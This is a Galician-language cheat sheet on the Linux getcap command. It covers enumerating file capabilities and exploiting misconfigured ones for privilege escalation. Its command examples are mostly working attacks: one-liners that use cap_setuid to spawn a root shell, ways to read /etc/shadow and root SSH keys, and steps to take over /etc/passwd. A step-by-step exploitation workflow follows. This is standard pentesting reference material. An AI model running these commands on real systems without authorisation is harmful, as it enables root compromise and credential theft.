getcap - Enumerar Capabilities de Linux
Descrición
Comando para listar as capabilities de ficheiros en Linux. As capabilities permiten dar privilexios específicos a binarios sen necesidade de SUID root, pero poden ser explotadas para escalada de privilexios.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-r |
Busca recursiva |
-v |
Modo verbose |
Exemplos de uso
Enumeración básica
# Buscar todas as capabilities no sistema
getcap -r / 2>/dev/null
# Buscar capabilities en /usr/bin
getcap -r /usr/bin 2>/dev/null
# Buscar capabilities en directorios comúns
getcap -r /usr/sbin 2>/dev/null
getcap -r /usr/local/bin 2>/dev/null
# Exemplo de saída:
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep
Capabilities perigosas para escalada
cap_setuid+ep (Cambiar UID)
# Python con cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl con cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Ruby con cap_setuid
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
cap_dac_read_search+ep (Ler calquera ficheiro)
# Tar con cap_dac_read_search - extraer ficheiros de root
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
# Vim con cap_dac_read_search - ler ficheiros de root
vim /etc/shadow
vim /root/.ssh/id_rsa
# Python con cap_dac_read_search
python3 -c 'print(open("/etc/shadow").read())'
cap_chown+ep (Cambiar propietario)
# Python con cap_chown - cambiar propietario de /etc/passwd
python3 -c 'import os; os.chown("/etc/passwd", 1000, 1000)'
# Agora podemos editar /etc/passwd e engadir usuario root
cap_fowner+ep (Bypass file permission checks)
# Permite modificar permisos de ficheiros non propios
python3 -c 'import os; os.chmod("/etc/passwd", 0o777)'
cap_sys_admin+ep (Administración do sistema)
# Moitas capacidades administrativas, incluíndo montar sistemas de ficheiros
# Pode ser usada para montar o sistema de ficheiros raíz
cap_net_bind_service+ep (Bind a portos baixos)
# Non é directamente escalada de privilexios
# Permite a un proceso non-root escoitar en portos < 1024
cap_net_raw+ep (Uso de sockets RAW)
# Permite crear sockets RAW e PACKET
# Útil para sniffing e spoofing, non directamente para escalada
Workflow de explotación
# 1. Enumerar capabilities
getcap -r / 2>/dev/null
# 2. Identificar capabilities perigosas
# Buscar principalmente: cap_setuid, cap_dac_read_search, cap_chown
# 3. Explotar segundo a capability
# cap_setuid+ep:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_read_search+ep:
/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow
cd /tmp && tar -xvf shadow.tar
# 4. Obtención de root ou lectura de ficheiros sensibles
Capabilities comúns e a súa descrición
| Capability | Descrición | Perigosidade |
|---|---|---|
cap_setuid |
Cambiar UID do proceso | ⚠️ MOI ALTA |
cap_setgid |
Cambiar GID do proceso | ⚠️ ALTA |
cap_dac_read_search |
Bypass lectura e busca de ficheiros | ⚠️ MOI ALTA |
cap_dac_override |
Bypass permisos de escritura | ⚠️ MOI ALTA |
cap_fowner |
Bypass permission checks en operacións | ⚠️ ALTA |
cap_chown |
Cambiar propietario de ficheiros | ⚠️ ALTA |
cap_sys_admin |
Rango de operacións administrativas | ⚠️ MOI ALTA |
cap_sys_ptrace |
Trace de procesos arbitrarios | ⚠️ MEDIA |
cap_net_bind_service |
Bind a portos < 1024 | ⚠️ BAIXA |
cap_net_raw |
Uso de sockets RAW e PACKET | ⚠️ BAIXA |
Establecer capabilities (require root)
# Establecer capability (só como exemplo)
setcap cap_setuid+ep /usr/bin/python3
# Eliminar capability
setcap -r /usr/bin/python3
# Ver capabilities dun binario específico
getcap /usr/bin/python3
Notas adicionais
- As capabilities son unha alternativa máis segura a SUID root
+epsignifica "Effective" e "Permitted" - o capability está activo- Capabilities mal configuradas poden ser tan perigosas como SUID root
- Sempre verificar en GTFOBins para métodos de explotación
cap_setuidé funcionalmente equivalente a ter SUID root- Moitos sistemas non usan capabilities, polo que atoparlas é menos común que atopar permisos SUID
- HackTricks ten excelente documentación sobre capabilities: https://chinnidiwakar.gitbook.io/githubimport/linux-unix/privilege-escalation/linux-capabilities
Máis información...